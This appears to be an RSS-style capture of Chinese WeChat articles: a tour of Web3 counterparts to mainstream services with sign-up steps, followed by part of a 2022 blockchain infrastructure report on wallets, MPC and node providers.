在技术上，Mail3通过开放协议和经济激励实现去中心化和持久化服务，任何人都可以是服务节点，为其他用户提供安全且无需许可的服务，而且还可以与传统服务兼容。
换句话说，汽车，摩托车，自行车都可以上马路，只要规划好各自的路线，构建合理的交通法规即可畅通无阻。
另外Mail3还支持去中心化域名系统作为邮箱别名，并为每个用户创建链上的简要空间用来保存关键信息；
用户还可以将自己的隐私信息、社交偏好等在链上保存，方便其他Web3应用访问以获得更好的服务；
也能通过数字签名技术支持所有链的区块链钱包，甚至支持一些非应用类区块链；
以及很关键的分布式永久存储，Mail3通过数据整理器网络（DataCollatorNetwork，简称DCN）实现，DCN的分布式存储架构可以提供针对持久备份、优化的带宽和响应速度等的激励层。
从结构上说，Mail3总体可分为三层：应用层、共识层、数据可用层。
在应用层提供用户访问接口和邮件收发端口，支持包括多链钱包、邮件加密、数字签名收发社区邮件以及链上社交关系的读取与写入等功能；
共识层则搭建在区块链上，承载用户的DID等数据，并为DAO投票、质押和DCN选举提供可信的基础设施。
数据可用层即DCN，由分布在全球的若干个分布式节点透过相互连接。DCN节点通过质押代币和用户投票当选，并自动备份用户数据，提供数据可用服务。
总体来看，Mail3的确是Web3的基础设施，运行方式更像小组件。
其出发点在于打造Web3原生的通信平台，与其他应用形成连锁效应，共同构建一个可持续发展的DAO，配合代币激励机制将会打造一个社区驱动且自治的模式，这也是Web3生态繁荣和持续发展的必要条件。
使用方式：
打开 mail3.me
 
选择钱包登陆Dapp 

可以选择自定义自己的mail3名称
 一路确认邮箱设置，最终进入邮箱

需要注意的是，此时的邮箱已经注册成功但无法发送邮件，需要绑定web3域名
之所以这样设置，是为了避免恶意注册大量邮箱，增加恶意交互地址的成本，也会减少生态中的垃圾邮件。
web3邮箱是可以与web2邮箱交互的，从普通使用者的角度来看，web3邮箱注册简单，避免了现在传统web2邮箱的复杂绑定机制，安全性也与钱包安全级别一致。
虽然需要绑定ENS或bit才能使用发邮件功能，但根据mail3的统计数据，绝大多数的用户在使用mail3的时候仅仅用到了收件功能，在目前的互联网环境下，邮箱的最大作用就是订阅与验证码收取，文件沟通交流的渠道已经逐渐转移到了社交平台上。
因此现在的mail3对于用户的吸收度及其可观。而对于真正融入web3体系的个人与开发者而言，域名注册所带来的便利包括了环境的净化已经优质的订阅。
就现在的时间点而言，mail3其实暂时不能融入目前的市场，从目前的体验来看mail3更适合web3创作者作为创作领域来进行挖掘。


3.从Reddit到BBS Network

BBS Network 是一个类似于 Reddit 或贴吧的去中心化社交网络，用户可以在其中创建论坛来发布、评论和分享想法，同时从他们的内容中产生收入。
任何用户都可以在该平台创建 BBS，每个 BBS 都可以在自己独特的域上运行，同时仍然链接到所有其他 BBS，其中的创作者、策展人和利益相关者以自动和透明的方式获得项目的原生代币奖励。
在 BBS 上发布的每个帖子实际上都是 NFT，用户可以购买、出售甚至租赁，同时收集他们拥有的任何帖子产生的广告收入。
在 BBS 上，帖子的影响力由实际市场力量决定，其创造的价值会在帖子的创建者、当前所有者和板块管理员之间共享，这会激励每个人尽力使 BBS 尽可能吸引观众和利益相关者。
每个 BBS 所有者都可以设置自己社区的审核规则和内容政策，用户可以自由选择访问和参与哪些板块以满足他们的需求。BBS 可以使用插件模块进行定制和增强，促进用户的选择和多样性。
2021年12月6日，Binance Labs 领投 Bulletin Board System (BBS) Network 150 万美元种子轮融资。
使用方式：
打开主域名 https://bbs.market/
在其中有多个版块，目前排名第一的就是我们所讨论的BBS Network，但这集合了所有版块的页面才是我们所要了解的BBS Network，如传统帖子一般，BBS Network集合了版块、发帖、评论等功能，在表现形式上并没有什么太大区别。其登陆方式与传统登陆一致。
到目前为止BBS Network暂时看不出来与传统贴吧的区别，但如果你想要promote某个帖子你会发现如下内容
这也是上文所提到BBS中每个帖子可以视为一个NFT，创作者收益也来源于此处。
对于用户来说，BBS Network这种模式会使得整个社区的质量显著提升。对于创作者来说，收益是直接获得的。


4.从传统音乐平台到sound.xyz

Sound.xyz是颠覆音乐产业的新加密音乐发布平台的官网。
该艺术家平台希望通过利用区块链技术将歌曲转化为可收藏的非同质代币令音乐增值。Sound.xyz计划通过开发一整套Web3用于该平台。
由科技风投Andreessen Horowitz领投的种子轮共筹集了500万美元。
Sound.xyz加入了投资组合中的一系列加密项目，包括区块链存储软件Arweave和基于以太坊的去中心化金融协议Uniswap。
Sound.xyz的其他支持者还包括Variant基金、Scalar资本以及说唱歌手和唱片制作人21 Savage。 

该新启平台旨在让音乐家从作品中增加经济利益。
受非同质代币平台（以及.xyz社群成员）Manifold.xyz的启发，该平台的声音工作室帮助艺术家原创的高质量歌曲非同质代币，同时通过嵌入式智能合约保留其作品的真正所有权。艺术家们在不会失去音乐版权的前提下可以获得每次转售10%的收入。
使用方式：
sound.xyz的使用方式比较简单，访问主域名：sound.xyz

连接自己的钱包，这里使用的是metamask，网页会需要你的钱包签名，确认即可。
接下来就类似于传统的音乐平台了，你可以在线试听歌曲或使用ETH购买版权歌曲。 
sound.xyz在使用上与传统音乐平台并没有太大的区别，其主要的区别在于注册方式以及版权的发售购买。
笔者在使用国内音乐平台时经常会遇到某个平台版权缺失、会员制等等问题。
而这种版权混乱的情况也正是中心化平台的弊端，对于创作者和消费者都是及其不方便的。
sound.xyz是去中心化的，对于用户而言，你的密钥就是你购买了版权后的永久凭证，存储在ipfs或链路上的内容其不可更改性保证了用户购买的音乐版权不会出现问题。
而对于音乐创作者来说，这种版权直发的方式比将版权交给音乐公司这种渠道商更为方便，也更为直接，减少了中间的分发费用的同时保护了版权的唯一性。


5.从传统KYC到BrightID

BrightID是一个基于以太坊生态的数字身份验证系统，完全独立于传统和互联网身份认证，通过创建和分析社交图谱来解决唯一身份问题，用户可以通过实人认证获得数字身份，目前Gitcoin、RabbitHole、Status等多个项目都已经采用其解决方案，曾多次获得V神的认可。
BrightID使用场景包括、身份识别、应用程序用户验证、活动验证 (空投等)、信任及信誉构建及其他。目前，BrightID还在开发IDChain。
根据官方资料，BrightID是Web3 时代的身份系统，它代表了你在 Web3 时代的唯一性。
基于此唯一性，我们可以通过彼此之间的信任链接构成一个庞大的人类信任网络，这将在 Web3 时代发挥巨大作用。
BrightID相信社会恢复的力量可以保护数字身份和对自己身份的个人控制。
如果有人偶然或有意窃取了用户的 BrightID，那么用户只需要与最初联系的几个人重新建立联系，并让他们证明该用户与该 BrightID 是同一个人，就可以将 BrightID 账户找回。
BrightID 基于身份构建信任网络，因此当用户链接任何人时，系统都将提示你与对方的链接前提，如：
Suspicious：完全不认识这个人
Just met：仅仅是一面之交而已
Already known：和这个人非常熟 (基友或闺蜜)
Recovery：家人，这个人可以帮助你恢复账号
用户应牢记以上信任级别，不要盲目链接以及盲目设置信任级别，你的每一次链接都在构建你个人信誉网络，不健康的信誉网络可能导致你在某些行为中信誉和经济利益受损 (例如空投活动等)。
为了保证用户身份的真实性与唯一性，BrightID会对用户进行视频会议以进行身份验证，验证过程中需打开视频，验证官会鉴别是否重复验证，一旦验证官发现重复验证，验证官会向 BrightID 举报，并撤销重复验证者的 BrightID 账号。
BrightID的使用方式：
1.下载安装
进入 https://www.brightid.org/
下载对应版本的BrightID，进行用户名和头像设置，不需要提供身份证等任何个人隐私数据。在未得到任何应用程序验证的情况下，状态栏将显示 "未验证(unverified)"。
2.建立连接
显示自己的二维码让另一个人扫描，此时双方的个人简介数据将通过一个安全的P2P通道进行交互。然后根据对彼此的了解程度选择连接的级别，选择正确的连接级别十分关键，直接影响算法检测虚假账户的正确率。
3.身份验证
BrightID官方在各个web2会议软件中都建立了验证通道，你可以通过Zoom或者腾讯会议等方式在BrightID安排的时间内进入验证会议。
需要注意的是你需要打开摄像头和麦克风，主持人会将你加入到某一个验证小组，当主持人喊道你的时候，你可以使用brightid和主持人建立连接，主持人会询问你为什么要使用BrightID，回答问题即可验证成功。
4.连接应用程序
BrightID在验证成功后，在使用BrightID的应用程序里直接使用BrightID验证即可通过身份认证。例如在Honey Token分发程序1Hive中扫描BrightID提供的QR即可验证通过。 
BrightID可以说是传统KYC验证的集合体，它在验证通过后只需要将接口提供到dapp，dapp就能通过KYC验证。
虽然听起来很简单，但这当中BrightID建立连接级别的规则以及身份验证的繁琐都是及其复杂的，但只要验证通过后续的KYC程序也就变得及其简单不再需要一遍又一遍的去进行KYC验证。
这其中还有一个关键问题，对于web2垄断平台来说用户的KYC信息是这个平台的宝贵资源，因此web2环境下就算存在BrightID这样的统一身份认证系统，应用程序背后的中心化平台仍然会希望获取到用户的KYC信息并且不会共享到其他平台。
dapp也正是得益于其去中心化的优势才能够避免这种信息独吞的状况。
以上是从用户的角度来看的，我们换到开发者的角度。
BrightID作为统一身份认证管理能够大大减少其余dapp开发中身份认证的复杂处理并同时根据BrightID的身份关系网完美移植到需要开发的系统中。

6.从Medium到Mirror

首先，据官方介绍「Mirror」是一个基于使用web3技术，构建在以太坊上的去中心化多媒体创作平台，因此可以使用 Ethereum 登录，相较于传播度跟知名度都不错的Medium ，Mirror 同样作为创作平台，其与众不同的特点就在于它的加密产业的特质。
包括需要以加密钱包注册帐号，创作完成的内容透过区块链Arweave 来做去中心化的永久保存、发起群众募资或者铸造自己的NFT，让作家们能透过Web 3 的商业模式将文字内容货币化，私有化。很符合官方的口号“发布它，拥有它”。
作为一个Web 3 的内容创作平台，Mirror 也同时在展开许多实验性功能，像是：NFT 拍卖功能或文章转移功能，可以直接把你之前在web2上别的平台写的文章搬运到Mirror 。
Mirror 主打的去中心化部落格形式，在某种程度上可以确保不会被大数据的流量绑架，在没有索引、没有热门推荐的平台中，透过Web 3 的机制去纠正资源分布不均的状态，让中小型的创作者更能够专注于自己的创作内容。
为扩大对创作者的包容性，目前Mirror 也已经全面向所有用户开放一系列的创作工具，你甚至可以在平台上建立自己的社群、吸引其他人成为你的超级粉丝或和其他创作者交流等等。
不过反之；根据长期使用者的访问心得表示，由于界面是英语而非中文，因此Mirror 在中国的读者比例相对较少；
Mirror 的知名度还不及Medium 这样的内容创作平台，想要自己的作品被更多人看见，还是需要自行把连结分享到像是Twitter 或Facebook 这样的中心化社交平台，为自己创造流量。
使用方式：
访问主域名 https://mirror.xyz/ ，连接钱包
创建自己的账户信息
你可以选择绑定你自己的ens域名，也可以暂时跳过
接下来你就可以创建自己的内容了，需要注意的是如果你想要publish，你需要切换到optimism链路，推送是需要消耗fee的，这也是为了保证创作者内容的高质量，避免无效内容的发布。
总体来说，Mirror作为一个多媒体创作者平台，其在表现形式上与现有web2的创作平台没有太大的区别，这也是为了方便创作者进行平台间的快速切换，但是其铸造NFT的功能在未来可能给创作内容带来的收益与权益保护是现有创作平台所无法保证的。
从用户的角度来看，Mirror可以说是一个高效信息的聚集地，其签名机制可以避免很多垃圾内容的出现。
从开发者的角度来看，Mirror无疑是一个广阔的开发平台，其扩展性与传统web2最初的阶段是完全一致的。对于项目方来说，NFT机制的存在保证了Mirror生态的良好发展。

7.从GoogleDrive到ArDrive

ArDrive 建立在 Arweave 之上——一个低能耗的全球分布式区块链网络。但是，Arweave 是基础层，对于非技术人员来说，访问使用它可能有点难上手。
这就是由 ArDrive 的创始人兼首席执行官 Phil Mataras 领导着拯救的地方。
到目前为止，通过他们的网络应用，ArDrive 使得在 Arweave 上访问和存储文件的过程已经像在任何其他云服务（例如 Dropbox 或 Google Drive）上一样简单。
随着 ArDrive Mobile 的推出，他们将这一概念更进了一步，将持久化数据存储的强大功能带入了普通人的口袋，同时保持简单易用。
ArDrive Mobile 允许用户轻松地持久化保存他们的文件，并且完全不受审查。
用户的文件被加密存储，在世界各地组成的一个无需许可的网络上分布式存储，并可供几代人使用。
ArDrive Mobile 应用程序是使用 Flutter 构建的，这是谷歌开发的一个开源框架，用于从单个代码库构建本机编译的多平台应用程序。
ArDrive 团队对这个选择非常满意，因为这意味着他们可以更快地更新所有应用（网页、手机和桌面）。
这也意味着他们有更多的时间继续在 Web3 上建设数据存储的未来。
使用方式：
登陆主域名：https://ardrive.io/
第一步：要注册ardrive首先要保证你的钱包里有ar token，官网提供了SimpleSwap的跳转，在SimpleSwap上使用现有资产兑换ar token。adrive也提供了100KB的免费存储空间，尝试性的操作可以不使用ar token来兑换更大的存储空间。
第二步：ardrive发布了它自己的dapp ArConnect作为自己的原生钱包,在它的官网可以找到入口https://www.arconnect.io/,将ArConnect作为Chrome插件加入到你的浏览器中。在这之后你可以使用这个钱包支付你使用ArDrive的各类费用。
 创建你自己的ArConnect账户密码
选择现有的钱包链接存储库或者创建新钱包链接，笔者这里创建新的钱包作为演示，注意新的钱包会让你记住你自己的助记词，这是你钱包的唯一恢复方式，所以你需要牢牢记住你自己的助记词。
 到此为止，你的ArConnect钱包创建完成。
 第三步：登陆到你的ArDrive https://app.ardrive.io/#/sign-in 
你可以使用自己含有Ar token的钱包如metamask或者直接使用上文注册的ArConnet来登陆。 
需要特别注意的是，你上传的数据是永久存储在链上的，虽然你可以选择公开还是不公开，但是“黑历史”咱就不要上传了～ 
创建你的ardrive账户
 到了这步你的网盘基本就创建成功了，创建新的网盘或者导入原有网盘 
笔者在试用ardrive后发现在众多的Web3应用中，ArDrive对于用户而言是注册最为复杂的应用。横向比较web2的网盘，ArDrive也算不上便利。
根本原因在于其绑定了Ar Token的原因。就算不使用ArConnect来创建ArDrive的支付渠道，使用者还是需要通过Dex或Cex来换取Ar Token来支付相关费用。
但不可否认的是ArDrive也具备传统网盘所不具备的优势，传统web2网盘的中心化就注定其不可靠性与安全风险，同时ArDrive的对外扩展性随着区块链技术的普及也是传统web2网盘所无法比拟的。
不过其“上链”不可撤销的特性与它的费用机制也让其不能作为一个临时存储的平台，对于用户来说ArDrive更适合用于保存那些需要永久保存但不那么隐私的资料。
对于开发者来说，这种不可撤销的特性以及ArDrive在web3领域的扩展性可以在某些特定领域具备极大的领先优势，笔者认为在未来ArDirve不能仅仅作为一个“网盘”而存在，它需要展现其对于web3其他领域如Dapp、Defi等的扩展性帮助。
而上述所提到的所有不便利性的根本原因在于项目方所绑定的Ar Token，一方面这提高了用户与开发者对ArDrive生态的参与门槛，但另一方面这也是为了生态的良好发展。


8.从Kindle Books到Book.io

从技术角度来看，迄今为止，任何从任何零售商那里“购买”电子书或有声书的人，实际上并没有真正买到数字书，没有实际的所有权。
这样光看字面理解起来可能有点困惑，你花二十块钱买到一本实体书后，你可以在二手交易平台上专卖。
但是如果你花两块钱买了一本电子书，但这本电子书实际上是没办法再二次转售的，除了你自己反复看书，它的价值并没有更多了。
随着区块链技术的发展，这个情况能够得到改变，创建独特的数字对象，NFT作为购买的收据，有一个可公开查看的图片的元链接，电子书成为了完全去中心化的，也是完全加密的、全部存储在区块链上的资产。
由此实现了，真的能够拥有了这本电子书，电子书和有声读物可以从经济上可扩展的方式在市场上流转。
Book.io平台利用Proof-of-Stake（POS）开源技术，使基于NFT的电子书成为可能，在Cardano平台上建立BOOK代币的初始版本。
Cardano是领先的Proof-of-Stake区块链。Cardano是第三代区块链。它的目的是解决应用的最关键障碍，即可扩展性。
与其他区块链相比，Cardano具有更便宜的交易费用、更高可扩展性、以及更高的交易速度。它是由以太坊最初的联合创始人之一查尔斯·霍斯金森创立的，以有效地纠正所有已知的POW限制。
使用方式：
访问主域名：https://book.io/
根据你的角色选择服务，包含出版商、作者以及阅读用户，我们选择eReader App
连接自己的钱包并授权，也就进入了我们熟悉的“书架”。 
获取书籍的方式第一种是回到主页进入图书市场BookStore，创建并登陆账号
你需要mint你想要阅读的书籍，book.io会有一个简单的人机验证
 在支付费用后你会成功铸造这本书籍的NFT，也就是你购买了这个NFT的书籍内容。
第二种方式是直接到NFT市场去购买他人mint的书籍NFT，jpg.store和CNFT.io是book.io指定的NFT购买平台。 
选择book.io的collections并从中购买
book.io的方式在笔者看来是将传统书籍版权、持有、阅读、买卖等所有行为转移到web3平台的一种糅合。
这种糅合对于用户来说无疑增加了使用成本，但其NFT市场的特性也带来了收益亏损这样的


9.从LinkeIn到ORB

ORB 基于 Polygon 使用 Lens 协议构建，是一个具有端到端链上信誉系统的去中心化职业社交媒体应用，可以将公司、项目和用户连接起来。
ORB 可以通过将各种 NFT 和 POAP 与用户经验、教育、技能和项目联系起来，从而创建个人去中心化专业档案并建立链上可信度，以及探索工作机会和申请链上身份，还可以用在链上分享自己的想法，与 Web3 人士建立联系并构建社区。
此外，ORB 还允许用户利用碎片化时间通过学习 Web3 知识来获取 NFT，即 Learn-to-Earn。


10.从Google Search到Sepana

Sepana由Daniel和David Keyes两兄弟创立，旨在通过其搜索工具使DAO和NFT等Web3内容更容易被发现。
它的一种方式是通过即将推出的web3搜索API，旨在使任何去中心化的应用程序（dapp）与它的搜索基础设施集成。
据其宣传中的一个优势卖点是，区块链和Lens和Mirror等dapp上的数百万次搜索查询是由其工具提供的。
Sepana完成了一轮1000万美元的融资，由风险公司Hack VC和Pitango First领投。
这笔资金将用于聘请高级区块链工程师和搜索专家，还将推出一个产品，以培养围绕该产品的“搜索社区”。
从长远来看，该公司希望建立一个完全去中心化的点对点搜索协议。
这种基础设施将有助于在去中心化的应用程序和协议之间建立信息桥梁，以改善搜索结果，把隐私放在首位。
使用方式：
打开主域名：https://sepana.io/
可以看到sepana已经接入了很多的开发者平台
 点击create your engine，登陆账号，注册账号，验证账号需要五分钟左右的时间 
进入到工作台 

创建新的engine，作为开发者你可以在engine中设置具体的调用内容以及获取API Keys 
具体的开发文档请见 https://docs.sepana.io/sepana-search-api/protocol/p2p-search-network 
Sepana严格来说并不是面向普通用户的web3应用，更多的是面向开发者的接口平台，它给开发者提供了Dapp开发中的搜索引擎入口并将web3应用生态连接起来。
而用户从这种连接中所获得的便利便是搜索内容的全面性。对于个大项目方来说，Sepana大大减轻了生态环境构建与交流的难度。
总体来说，Sepana是一个优秀的web3搜索引擎集合API。

END


往期推荐


点个在看你最好看

CLICK TO SEE YOU LOOK THE BEST



阅读原文

跳转微信打开

]]> Thu, 16 Mar 2023 13:30:00 +0800 全球区块链产业全景与趋势（下） https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247499838&idx=1&sn=5b2d9de2790a5670288c98e543201ce2 本文旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。 原创 零鉴科技 2023-02-03 16:15 湖南

本文旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。

⬆️全文思维导图

文章旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。

由于篇幅较长，分上下两篇发布。本文为下篇，涵盖第五章至第八章内容。

上篇传送链接区块链行业发展与趋势（上）

前方多图预警，建议收藏起来慢慢看！



第五章    基础设施

1
钱包

一、现有钱包的功能及扩展

从宏观视角而言，钱包功能可抽象成三种类型：
1. 流量/资金入口
在加密世界中，交易平台是最大的流量集散地和 Token 交易场景，在 NFT 勃兴后，NFT 交易平台有望成为第二个 CEX 角色。
从数据来看，头部公链上每天有 250 万个钱包处于活跃状态，BNB Chain、Solana、Polygon 和 Ethereum 占 80% 以上。
但是从 CEX 的总账户数量来看，目前交易平台积攒了 9000 万个活跃地址，是链上地址的 36 倍，而进一步将口径放大至 Web 2 世界，Visa、MasterCard、Apple Pay 等主要账号类型均上十亿、甚至数十亿。
高情商的说法是链上钱包正在发展初期，低情商的说法是去中心化仍旧遥遥无期。
2. Dapp Store/Connect/Swap
目前的钱包主要功能并非在于「资产管理」，至少资管只针对机构、DAO 才有实际意义，个人用户使用钱包的目的在于「交互」Dapp。
从这个角度又可细分为连接和竞价排名两种模式，链接模式以 Metamask 为最典型代表，其产品模式可概括为激活、交互、签名三步，至于链接的是何种类型的 Dapp、公链均支持用户自定义，从这个角度而言，Metamask 也是一种多链钱包，比如其支持 BNB Chain 等用户自定义链。
而 Dapp Store 展示、排名模式，以 Bitkeep 最为典型，其直接在产品内进行 Dapp 展示及推广，以及直接的上币、上 NFT 等重运营模式，意在将「用户行为变现」，这是在 Web3 时代无法数据变现后的变通之举，流量生意永不眠，只是路径发生改变。
Swap 功能是目前钱包最直接的流量变现模式，相较于 Dapp 展示更为直接，更为贴近用户侧，比如 Metamask 唯一的直接利润来源便是内置的 Metamask Swap 功能，但是这建立在其 3000 万活跃用户的基础上，很难被其他钱包所仿效。
3. 钱包功能的扩展
在以上功能的基础上，钱包在 2021 年开始逐渐和更多功能模式进行结合，典型如 DID、SBT、NFT 展示等更为与个人特征相关的功能拓展上。
本质上而言，钱包是账户的「容器」，而去中心化很难进行前端的 KYC、AML 等复杂措施，非托管 C 端钱包在技术上也无法真正控制用户类型，而地址行为数据便成为勾勒该用户的触手。
当然，在目前阶段，此类功能仍较为前沿，落地较为困难，但是钱包确实个链上身份识别的好入口，尤其是在隐私保护日渐重要的当下。

二、钱包的发展方向

智能合约多链多签钱包，可以将其解构为如下的等式：
智能合约多链多签钱包=易用+安全 
易用+安全=AA+MPC+EVM 多链 
AA 指账户抽象，主要在以太坊上进行探索，但得益于 EVM 兼容链以及跨链桥的存在，我们可以将其视为未来的发展趋势。
而从更复杂的功能实现角度而言，钱包未来的形态是个多变量的演化过程，如何在 MPC 等技术、易用和安全等体验积累中实现智能合约多链多签钱包，是个非常困难的过程。
单纯谈论 MPC 并不困难，但从技术原理到市场竞争还存在一个漫长的产品迭代过程，就好比，我们都知道有以太坊的 Layer 2 一定是在 ZK 系列中诞生，但究竟是哪款产品取得最终胜利，并不是一个当下就可断言的过程。
安全多方计算（Secure Multi-Party Computation）的主要是针对在无可信第三方的情况下，如何安全地计算一个约定函数的问题。
安全多方计算通常缩写为 SMPC 或者 MPC。基于安全多方计算的多方签名技术，从始至终，单点私钥都未出现。通过多个私钥分片，不同参与方在签名时通过 MPC 协议计算出最终签名，且此签名能通过对应的单个公钥的验签。
主要产品有面向 B 端用户的 Fireblocks、面向 C 端用户的 ZenGo、以及将为 Metamask 提供安全服务的中间件安全鹭。
Fireblocks
Fireblocks 为 1300 家大型机构提供数字资产托管平台，包括 MPC 钱包、Token 发行/管理，以及对 DeFi 的访问。
它的客户包括银行、交易平台、借贷机构、对冲基金、做市商和其 他机构。可提供私钥，完成退出机制。
Fireblocks 的客户之一 Revolut(估值 55 亿美元，是最大的金融科技公司之一) 正在使用 Fireblocks 的 MPC 为全球 1300 万零售客户引入加密服务。该基础设施用于为数字资产转账提供安全的支付轨道。
通过 MPC 钱包，Revolut 可以增加涉及加密货币的产品线和面向零售的功能。Fireblocks 为 1300 家大型机构提供数字资产托管平台，包括 MPC 钱包、Token 发行/管 理，以及对 DeFi 的访问。
它的客户包括银行、交易平台、借贷机构、对冲基金、做市商和其 他机构。可提供私钥，完成退出机制。
ZenGo
Zengo 是一款相对成熟的、基于 MPC 技术、无私钥、EOA 账户钱包产品，最新一轮融资 2000 万美元，投资方有 Insight Partners 和三星等。曾获得三星的领投让 Zengo 有机会获得三星手机的巨大渠道优势。
创建账户时，ZenGo 创建两个密钥份额，一个存储在你的移动 设备上，另一个存储在 ZenGo 服务器上。
关于钱包退出机制，其解决方案是设计了对应了私钥恢复程序，委托给可信第三方保管，一旦 Zengo 产品无法继续提供服务，第三方会核实后公开私钥恢复程序，用户在客户端即可创建出私钥，进行导出备份。
Safeheron
已经和 Metamask 达成合作，将为其提供整体 MPC 解决方案，目前产品套件包含 :
1. MPC Wallet APP，客户内部可以多人协同管理数字资产；
2. MPC Wallet API, 支持客户编写程序实现自动化的签署交易，无需担忧私钥泄露；
3. MPC Web3 浏览器插件，支持客户通过多人审核的方式访问 Web3 协议。
从这个角度而言，技术的大致勾勒，而产品的快速迭代，以及响应市场的需求速度才是解决问题的关键，这是个运营大于技术的持续过程。
但这并不说技术本身不重要，而是在强调技术是第一步，市场才是检验技术适用性的最终裁判。
而从智能合约账户角度去看待钱包的发展形态，最明显的变化趋势就是以太坊账户的合并，从 EOA（外部账户地址）和智能合约账户两种合并成为一种「账户抽象」，需要注意的是，此处的账户抽象可理解为智能合约账户，但同时具备 EOA 的功能。
智能合约钱包主要特性如下:
Seedless
合约钱包账户不存在私钥，不需要备份私钥分片，通过链上代码绑定特定用户信息 (如 设备信息、电子邮件账号等个人信息)，实现账户所有权，避免用户丢失助记词而导致丢失加密资产，真正实现了无私钥存储；
多签方案
CA 账户支持进一步编程，能够更方便的实现多签机制。如 M-safe，通过创建基于不同地址创建多签钱包，实现组织资产共同管理，达到转账控制、交易审核、交易记录等资产管理服务需求；
Gasless
CA 账户可指定 gas 代付，避免用户因为缺少手续费影响转账进行，优化用户使用体验，但在极端行情，网络拥堵时可能会导致手续费支出急剧增长，尤其是智能钱包的逻辑较 EOA 钱包复杂。
因此创建钱包和每一笔操作的 gas 都会更贵，需要考虑产品功能长期良性发展模 式，Argent 钱包在极端行情时支付了五十多个 ETH 手续费。
考虑到这个问题，Unipass 采用 方案如下:通过项目方代付 gas 解决新用户转账问题，后续计划发展手续费抵扣功能，吸引用户、提升用户体验的同时保证功能持续运作，节约运营成本。
在其最终完成后，智能合约账户会促进钱包的无私钥进程，以及支持无 Gas 交互等更为复杂的 DeFi 产品形态。
但在目前的局面下，真正实现 AA 级账户的钱包并未推出实际产品形态，最为接近的是 G-Safe 和 M-Safe，前者是基于 EVM 层的智能合约钱包，后者是 Move 语言原生智能合约钱包，从技术原理上而言比 G-Safe 更为接近底层，但其目前正在推广阶段，并且和 EVM 兼容性也值得怀疑。
总之，MPC 可以让无私钥变得更为安全，AA 可以实现真正复杂的智能交互。


2
节点与数据

一、数据市场参与者

针对数据使用者本文不做赘述，重点关注数据提供者。

原始数据产出方主要包括 区块链节点、中心化交易所；
数据基础设施服务商主要包括 节点服务商、查询索引服务商；
数据分析服务商主要包括 数据分析工具开发商（侧重产品数据）、数据分析平台开发商（侧重交易）、投资组合追踪和管理器开发商（侧重C端用户）。
由于节点服务商的存在，开发者不需要搭建自己的节点，就可以直接和链上进行交互。降低了开发时间和开发成本。

1.节点服务商

Infura - 母公司 ConsenSys
MetaMask 的默认远程过程调用 (RPC) 服务提供商 Infura，高峰每日处理高达 130 亿次请求。可让应用 / 开发者省去了建立以太坊节点的过程 , API 成为管道，需要使用数据的话，对 API 进行付费。
其他服务：IPFS API
支持的链：Ethereum、Polygon、Arbitrum、Optimism、Avalanche C-Chain
融资：2022 年 3 月，Infura 和 MetaMask 的母公司以太坊基础设施开发公司 ConsenSys 完成 4.5 亿美元 D 轮融资，估值达到 70 亿美元，ParaFi Capital 领投，新投资包括淡马锡、软银愿景基金二期、微软、Anthos Capital、Sound Ventures 和 C Ventures，Third Point、Marshall Wace、TRUE Capital Management 和 UTA VC 等原有投资参投。
价格：每天有 100,000 个请求，最多有 3 个不同的应用程序。免费的 5GB IPFS 存储空间。
Alchemy - Web3 Builder
Alchemy 把区块链的底层架构进行梳理，可以提供典型的 JSON-RPC API，还可以提供增强型的 API，将日常请求简单化，简化开发人员的成本等。Alchemy 对许多知名项目也进行了支持，比如 CryptoKitties, Formatic, Bancor, Celer。
其他服务：Web3 大学——一个用于学习 Web3 的开放式教育资源、Alchemy Ventures 和面向网站开发人员的 NFTAPI。
融资：2 月 8 日消息，Web3 开发平台 Alchemy 宣布以 102 亿美元的估值完成新一轮 2 亿美元融资，Lightspeed、SilverLake 领投，此前的多家投资机构参投。
支持的链：Ethereum、Polygon、Arbitrum、Optimism
价格：

 

Quicknode  - 多链达人
Dune 是 Quicknode 的主要客户，之前是使用自建的 Parity 节点。
经常需要担心节点的内存泄露（memory leak）、磁盘空间不够等，而且成本较高，使用 Quicknode 后后大大降低了成本，每月成本 1000 美元降到每月 35 美元。
此外 Quicknode 还提供类似 CDN 的服务，这可能是另外一个可以促进 dapp 应用体验的方向。还可以帮助访问 mempool 的数据。
还可以提供私有节点。Quicknode 有一些业内知名的用户，比如 Nansen, PayPal, DappRadar, Chainlink。
支持的链：Solana、Polygon、Algorand、Ethereum、BSC、Arbitrum、Avalanche、Arbitrum Nova、Bitcoin、Celo、Fantom、Harmony、Optimism、Gnosis、Stacks
融资：2021 年 10 月 27 日，区块链开发平台 QuickNode 宣布完成 3500 万美元 A 轮融资，Tiger Global 领投，Alexis Ohanian 子公司 Seven Seven Six、Soma Capital、Arrington XRP Capital、Crossbeam 和 Anthony Pompliano 等机构参投。
据此前消息，QuickNode 获得 530 万美元种子轮投资，Reddit 联合创始人领投，SoftBank Opportunity Fund、Arrington XRP Capital 和 Crossbeam.v 参投。
价格：免费的帐号可以创建一个 API。
Pocket Network - 唯一发币的服务商
Pocket Network 节点充当中间层，将协议支持的 50 多个区块链与其需要链中数据的 dApp 生态系统连接起来。该网络运行在权益证明 (PoS) 共识机制上，为 dApp 提供可扩展性和数据一致性。
Token：市值 1.15 亿，总市值 1.29 亿。（2022 年 9 月 14 日 21:15:59）Pocket Network 要求开发人员和节点都投入其原生实用代币 POKT 以参与网络。
节点根据每个请求为开发人员完成 API 请求而获得奖励。POKT 是永久通货膨胀的，但总供应量将通过控制货币政策的 DAO 实施的燃烧机制来限制。POKT 的最终总供应量将由 DAO 决定。
开发人员需要为其应用程序提供可靠的基础设施和中继数量，他们会在质押的生命周期内一次性质押 POKT，以保证每个会话的中继数量。需要质押的 POKT 数量与所需的中继数量成正比。
支持的链：Algorand、Avalanche、Binance、Smart、Chain、Binance、Smart、Chain、Archival、Boba、DFKchain、Subnet、Dogechain、Ethereum、Ethereum、Archival、Ethereum、Archival、Trace、Ethereum、Goerli、Ethereum、Kovan、Ethereum、Rinkeby、Ethereum、Ropsten、Evmos、Fantom、FUSE、FUSE、Archival、Gnosis、Chain、Gnosis、Chain、Archival、Harmony、Shard、IoTeX、Klaytn、Mainnet、Meter、Metis、Moonbeam、Moonriver、NEAR、OKExChain、Optimism、Osmosis、Mainnet、Pocket、Network、Polygon、Polygon、Archival、Polygon、Mumbai、Solana、Swimmer、Network、Mainnet

2. 查询索引服务商

The Graph - 索引之父
